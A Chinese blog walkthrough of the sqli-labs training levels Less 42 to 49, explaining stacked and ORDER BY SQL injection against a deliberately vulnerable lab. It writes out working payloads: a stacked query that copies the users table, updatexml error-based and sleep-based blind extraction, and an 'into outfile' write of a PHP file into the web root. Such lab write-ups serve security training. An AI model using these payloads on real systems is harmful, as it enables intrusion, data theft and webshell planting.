Less 42

这一关一进去看着像前面的二次注入。发现也注入不了。。

 

 

我们观察代码发现这一关用的是堆叠注入。

 

 

 

 

 

 登陆的这里可以看到login_password登陆的时候并没有使用mysqli_real_escape_string来进行过滤,然后直接带去sql语句进行执行了。

在进行post的时候,username随机就可以,a’;create table qiyuan2 like users;insert into qiyuan2 select *from users; #

虽然显示还是错误的,但是我们数据库是有的。

 

 

Less 43

与42关基本一样。区别在包裹数据变成,’)

Less 44

与42关基本一样。区别在没有回显信息。

Less 45

与42关基本一样。区别在没有回显信息,并且包裹变成  ‘)

Less 46

 

这一关主要考的是 order by 注入。我们看源码发现,让我们输入sort命令来查询id。

我们先输一个 ?sort=1,试试。。额。。发现直接把用户名密码都爆出来了,我们查查网页看看这一关还有没有别的内容。

 

 

查到:

elect * from users order by 1 desc ;使用降序(倒序)排列

select * from users order by 1 asc ;使用升序(正序)排列

 

select right(database(),1);从右至左输出第一个字母

select lesft(database(),1);从左至右输出第一个字母

 

lines terminated by 666  每行输出以666结尾

我们来试试别的,看看能不能得到其他信息:

一、报错注入:

获取数据库:?sort=1 and(updatexml(1,concat(0x7e,(select database())),0))

 

 二、还可以用延时注入的方法

?sort=1 and if(length(database())=8  ,1,sleep(5))

 

 

Less 47

基本与46关相同,只是闭合语句变成了  ‘)。

 

Less 48

这一关与46关差不多,只是没有了报错回显,只能用盲注的方法。

也就是上面的第二种方法,?sort=1 and if(length(database())=8  ,1,sleep(5))

 

 

Less 49

与上一关基本相同,没有回显,闭合变成了 1′) ,可以用盲注方法。。

?sort=1′ and if(length(database())=8  ,1,sleep(5))–+

 

 

 

前面46-49关也可以使用outfile函数:

  ?sort=1 into outfile ‘C:\\phpStudy\\WWW\\sqli-labs-master\\Less-46\\qiyuan.php’–+

 

版权声明:本文为qi-yuan原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/qi-yuan/p/12297231.html